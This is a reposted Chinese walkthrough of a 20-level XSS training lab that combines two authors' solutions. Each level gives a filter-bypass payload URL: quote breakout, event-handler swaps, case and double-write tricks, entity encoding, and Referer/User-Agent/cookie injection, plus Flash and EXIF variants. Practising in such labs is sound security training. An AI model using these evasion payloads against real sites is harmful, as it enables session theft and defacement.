1. 程式人生 > >xss腳本繞過限制的方法

xss腳本繞過限制的方法

body confirm pri ech server 都差不多 沒有 oca payload

第一關:第一關比較簡單,直接寫入標簽就可以,這裏不多說了,payload如下: http://sqler.win/xss/level1.php?name=test%3Csvg/onload=alert(1)%3E

第二關: 第二關是比較典型的搜索框XSS,搜索內容直接寫入input標簽內,這裏有很多種XSS的方式,我的payload是http://sqler.win/xss /level2.php?keyword=test%22%3E%3Csvg/onload=alert(1)%3E




第三關:這一關無論是"還是<>都跳不出value標簽,故我們嘗試別的特殊字符,發現‘號可以跳出標簽,故構造以下payload: http://sqler.win/xss/level3.php?keyword=try%20harder!%27onmouseover=%27alert(1)%27




第四關: 這一關過濾了 < 和 >,用 " 閉合value標簽,網站防火墻過濾了onmouseover,故換一個on事件執行,我選取的是 onfocus,payload如下: http://sqler.win/xss/level4.php?keyword=1%22%20onfocus=alert(1)%20autofocus=%22&submit=%E6%90%9C%E7%B4%A2




第五關:這一關檢測到 on 就會轉義成o_n,故On事件執行不了,網站防火墻攔截了img和script標簽,我的辦法是閉合標簽後,寫入超鏈接,點擊觸發。 http://sqler.win/xss/level5.php?keyword=1%22%3E%3Ca+href%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2




第六關:這一關情況和上一關類似,我們直接用上一關的payload,發現不能執行,看源碼,原來是把href轉義成了hr_ef,故把href改變大小寫,改為hRef,繞過過濾,payload如下: http://sqler.win/xss/level6.php?keyword=break+it+out%22%3E%3Ca+hrEf%3D%22javascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2




第七關:這一關相比上一關,只要檢測到on,href,src,script等關鍵字,會直接過濾成空,故采用經典的scrSCRIPTipt方式繞過過濾,故payload如下: http://sqler.win/xss/level7.php?keyword=move+up%22%3E%3Ca/HREHREFF=%22javascriscriptpt:alert(1)%22%3E&submit=%E6%90%9C%E7%B4%A2




第八關:這一關終於不是input標簽了,邏輯是輸入超鏈接的鏈接值,然後後端幫你生成超鏈接。嘗試直接寫人 javascript:alert(1) ,系統會把javascript轉義成javascr_ipt,故考慮將script做實體編碼,將r編碼成r提交,payload為: http://sqler.win/xss/level8.php?keyword=javasc%26%23114%3Bipt%3Aalert%281%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5




第九關:和第八關一樣的界面,嘗試上一關的payload,提示”鏈接不合法“,猜測一下,可能是規定鏈接以http://開頭才行?故嘗試提交 http://test,果然鏈接寫進去了,但是這樣如何才能構造javascript語句呢,再測試一下,是不是只要有http://就可以,而不用放 在開頭呢,故嘗試提交javascript:alert("http://"),果然不提示鏈接不合法了,但是雙引號被編碼了,所以故繼續實體編碼,將一 個第一個雙引號編碼成",可繞過過濾。此處也可以用兩個反單引號`來繞過對”的過濾。payload如下: http://sqler.win/xss/level9.php?keyword=javasc%26%23114ipt%3Aalert%28%26%2334%3Bhttp%3A%2F%2F%22%29&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5




第十關:又是一種新的形式了,查看源代碼,可以發現三個隱藏的input標簽,故修改源代碼,將type="hidden"改為 type="text",分別輸入2,3,4並回車,發現t_sort參數可以寫入值,故用"閉合標簽,並在input框提交如下參數 “ onmouseover=‘alert(1)‘ type="text",故完整payload如下: http://sqler.win/xss/level10.php?t_link=&t_history=2&t_sort=4%22%20onmouseover=%27alert(2)%27%20type=%22text%22




第十一關: 查看源碼: 可以看到t_ref的value是我們訪問這個網頁的referer值,故可以抓包修改referer,在referer後加入” onmouseover=‘alert(1)‘ type="text"。個人認為這個漏洞的利用可遇不可求,可以百度一下有關referer XSS 的利用方式,我這裏采取的是自欺欺人的方式,因為實際情況不可能去抓包修改其他人的referer,自己構造一個可以觸發這個漏洞的頁面才是正確過關的方 法。這裏主要以了解漏洞的原理為主,我采取的是偷懶只圖過關的做法。

第十二關: 查看源碼,與上一關類似,取了http頭部的"User-Agent"參數,思路與上一題一致。




第十三關: 抓包得知,是cookie中的參數傳入導致XSS,故此處修改cookie可觸發XSS。




第十四關: 查看源碼得知,嵌入了一個iframe頁面,訪問這個網站http://www.exifviewer.org/,是查看圖片的EXIF信息的網站,說明這是文件上傳圖片的XSS。想到上半年補天爆出來的烏雲EXIF存儲型XSS,傳送門: http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html 漏洞原理是通過修改圖片的exif信息,造成解析圖片exif觸發XSS。利用工具推薦exiftool。題中給的網站我傳了一張圖片,成功彈窗,解析地址如下: http://www.exifviewer.org/FW/result.php?name=616e8a17b042371baf608c311a9a3d46&tscachebusttamp=1479559371223




第十五關: 這一關題中給的鏈接有誤,正確的鏈接如下: sqler.win/xss/level15.php?src==1.gif。這一關像是用了Angular Js, 但是這個漏洞不是很熟悉,不能給出payload,大家有興趣可以自己研究研究。如果大牛有答案帶帶我。




第十六關:簡單測試得出,這一關可以直接寫入標簽,難點在於過濾了空格,/ 等連接符,故用%0d換行符繞過,可寫入標簽。payload如下: http://sqler.win/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)




第十七關: 這一關,將arg01和arg02的參數分別寫入src的值中,並過濾了尖括號,導致不能閉合標簽。因為本身是在embed標簽中,故考慮,能不能在 arg02中,寫入事件來觸發XSS。答案是可以的,這裏采用onmousedown標簽,構造arg02參數的值為 onmousedown=alert(1),點擊頁面嵌入的swf可觸發XSS。完整payload如下: http://sqler.win/xss/level17.php?arg01=a&arg02=%20onmousedown=alert(2)




第十八關:這一關和上一關很類似,但是需要有一點點的轉變,經過嘗試發現,在arg02參數無論加什麽字符都無法構造空格,那轉移註意力,嘗試arg01,果然,arg01是可以構造的,參考上一關的payload,完整payload如下: http://sqler.win/xss/level18.php?arg01=a%20onmousedown=alert(2)&arg02=b




第十九關:這一關開始是flash xss了,首先下載頁面中的flash,對源碼進行分析,我用的是JPEXS這款工具。發現是actionscript 2.0,首先定位getURL函數,

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()

{

getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);

}),new ContextMenuItem("Open link in new window",function()

{

getURL(sIFR.instance.primaryLink,"_blank");

}));

再追蹤到sIFR的內容,省略了一些代碼,關鍵代碼如下:

if(_loc5_ && _root.version != sIFR.VERSION)

{

_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);

}

得知version參數可以傳入loc4變量中,即sIFR的內容中,但是getURL 只在內容為link時,打開,故定位以下函數:

function contentIsLink()

{

return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);

}



所以構造最終payload,如下:

http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

點擊傳入進去的’xss_by_SST‘就可以觸發XSS。





第20關:將swf下載下下來分析得知是zeroclipboard.swf , 百度一下,有漏洞詳情,構造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

level 1

一開始界面上什麽都沒有,一般是從url上想辦法
順便查一下php代碼,
<script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level2.php?keyword=test"; } <script>
這裏提示你要讓網頁彈窗即可
那麽直接用在url後面的參數上想辦法
·http://localhost/xss/level1.php?name=test·
直接把test改成<script>window.alert ()</script> 這樣的彈窗腳本即可

level 2

在2中,輸入了一傳正常的js,<script>alert()</script>,發現可以出現相關代碼,但是可以看出來,預定義的字符代碼已經被轉譯成了HTML實體了。
果然 echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".‘<center> <form action=level2.php method=GET> <input name=keyword value="‘.$str.‘"> <input type=submit name=submit value="搜索"/>
從這裏可以看出來,預定義的字符代碼對於輸出的時候用了htmlspecialchars 轉換成實體,可是下面的並沒有轉換,因此,可以從下面的輸入框裏裏面入手,構造閉合語句。
<input name=keyword value="‘.$str.‘">
使用payload:"onclick="window.alert()
形成<input name=keyword value=" "onclick="window.alert()">
輸入後成功彈窗

level 3

這裏按著上面的也來一下,發現不行
第三關的兩個地方都加了htmlspecialchars函數處理,但是htmlspecialchars默認配置是不過濾單引號的。只有設置了:quotestyle,才可以
那麽就用單引號來測試
payload :‘onclick=‘window.alert()
構造閉合語句:<input name=keyword value=‘".htmlspecialchars(‘onclick=‘window.alert())."‘>

level 4

這一關,查看源代碼發現,多了幾個str
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".‘<center> <form action=level4.php method=GET> <input name=keyword value="‘.$str3.‘"> <input type=submit name=submit value=搜索 />

這裏仔細看一下就知道,在這裏將輸入的內容分別去掉了 <,> ,然後,外圍的引號變成了雙引號,可以用第三關的payload稍作修改。
payload:·"onclick="window.alert()
構造成:<input name=keyword value="onclick="window.alert()>

level 5

這題輸入了上文的代碼,會發現變了
‘onclick=‘window.alert()<------變成----->‘o_nclick=‘window.alert()
在on中加上了下劃線。
那麽應該怎麽做 查看代碼
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".‘<center> <form action=level5.php method=GET> <input name=keyword value="‘.$str3.‘"> <input type=submit name=submit value=搜索 />

發現它把script 和 on 中加入了下劃線。
那麽鼠標事件,就不能用了。
可以考慮下用鏈接(href),即在鏈接中調用js
payload: "><a href="javascript:onclick=alert()">點我就xss</a>
構造:
<input name=keyword value=" "><a href="javascript:onclick=alert()">點我就xss</a>
如此一來,創建了一個"點我就xss"的可點擊鏈接的文本,點擊,產生xss

level 6

同樣的,輸入<script></script>和onclick 都會被加上下劃線
同時,href也是
查看源代碼$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
還有scr,data,等也是。
然鵝,少了一個函數strtolower(),把所有字符轉換為小寫。
所以,我們可以用大寫!
payload "><A HREF="javascript:alert()">test</a>

level 7

很遺憾啊,第七關的已經加上了strtolower,已經不能用大寫繞過了
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);

而且將這幾個能用的都轉換成空,那麽應該怎麽辦?
要註意
他只是將其轉換成空,不像前面的第六題,是加上下劃線,那麽我們可以嘗試雙寫繞過。
payload :"><scrscriptipt>alert()</scrscriptipt>
on src data href 等也是一樣的,大家可以自己嘗試哦

level 8

這一題有難了
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);
<input name=keyword value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情鏈接 />
?>
<?php
echo ‘<center><BR><a href="‘.$str7.‘">友情鏈接</a></center>‘;
?>

雙引號轉換成了“&quot”,而且還將關鍵字轉換了,並且在添加友情鏈接input內還有htmlspecialchars轉換

該怎麽做?
註意,這裏在友情鏈接只用了 str7 ,只是將關鍵字轉換了,那麽如果用其他的編碼的形式呢?是不是可以繞過?因為添加友情鏈接這裏基本用不來了,沒戲。

payload javascri&#x0070;t:alert()

這裏要註意不能把java四個轉換編碼,因為後臺過濾的是script,所以把script其中一個編碼一下就好了。

level 9

這題跟上題目差不多,就是在友情鏈接上多了一點判斷
if(false===strpos($str7,‘http://‘)) { echo ‘<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>‘;
若檢測不到http則報錯
payload javascri&#x0070;t:alert(1)/*http://www.baidu.com*/
只要讓它檢測到http,卻不能起到作用就可以了,所以可以用註釋。
在上題的payload下,後面加上註釋,在註釋裏面填寫http相關即可

level 10

這道題很迷,仔細看下代碼就知道,它要get兩個參數keyword和t_sort
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
而且 keyword參數並沒有什麽用,t_sort可以進行滲透
那麽在$str33這裏進行構造語句
<>被轉換成空,那麽<script>,<src>等也不能用了
在代碼中下面有三個隱藏的參數設置,在這裏把t_sort的 hidden更改一下成text

payload :t_link=&t_history=&t_sort="onclick="alert()"type="text"

level 11

這道題參考一下代碼可以發現,$str11=$_SERVER[‘HTTP_REFERER‘];這裏接受了來自上一題的referer,所以,我們可以在第十題轉到的第十一題的時候,抓包修改referer,來構造繞過語句。
在出現了 "完成得不錯"後,先用burp抓住,然後在頭文件內修改referer
payloadt_sort="type="text" onclick="alert(1)

level 12

這題跟上面的一樣,只不過是“$str11=$_SERVER[‘HTTP_USER_AGENT‘];”
這次是在user-agent裏面修改
payload111"type="text" onclick="alert(1)
後點擊頁面,通過

level 13

這題看代碼setcookie("user", "call me maybe?", time()+3600);可以知道這是cookie繞過了
其他的內容都差不多,抓包修改cookies
payload :cookie:user="type="text" onclick="alert(1)"

level 14

這關成功後不會自動跳轉。

level 15

$str = $_GET["src"]; echo ‘<body><span class="ng-include:‘.htmlspecialchars($str).‘"></span></body>‘

AngularJS ng-include指令
ng-include 指令用於包含外部的 HTML 文件。
此題用的是文件包含,那麽我們可以讓它調用一個evil code執行彈窗啊
payload :src=level1.php?name=1‘window.alert()

level 16

$str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4);

這題把script 、/ 、空格 都轉譯了,跟前面有一題一樣,可以考慮編碼和不用script啊
keyword=test,顯示在頁面中。
使用<a%0dhref="javascript:onclick=alert()">點我就xss</a>
提示說不允許使用。。。
換一個
payload<img%0dsrc=1%0donerror=alert()>

level 17

<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])."
<embed> 標簽定義嵌入的內容,比如插件
通過htmlspecialchars 轉譯了預定義字符
onclick是在鼠標點擊彈起之後觸發的事件。onmousedown是在鼠標按下之後觸發的事件
這裏我用onclick不行,onmousedown可以。。
payload arg01=a&arg02=b%20onclick=alert()

level 18

這題跟上面的差不多
卻在arg02不可以。。。。迷
誰知道原因的。。能告訴我嘛
在arg01處進行payload
http://localhost/xss/level18.php?arg01=a%20onmousedown=alert()&arg02=b



作者:殘陽潑茶香
鏈接:https://www.jianshu.com/p/06c644dafa0d
來源:簡書
簡書著作權歸作者所有,任何形式的轉載都請聯系作者獲得授權並註明出處。

xss腳本繞過限制的方法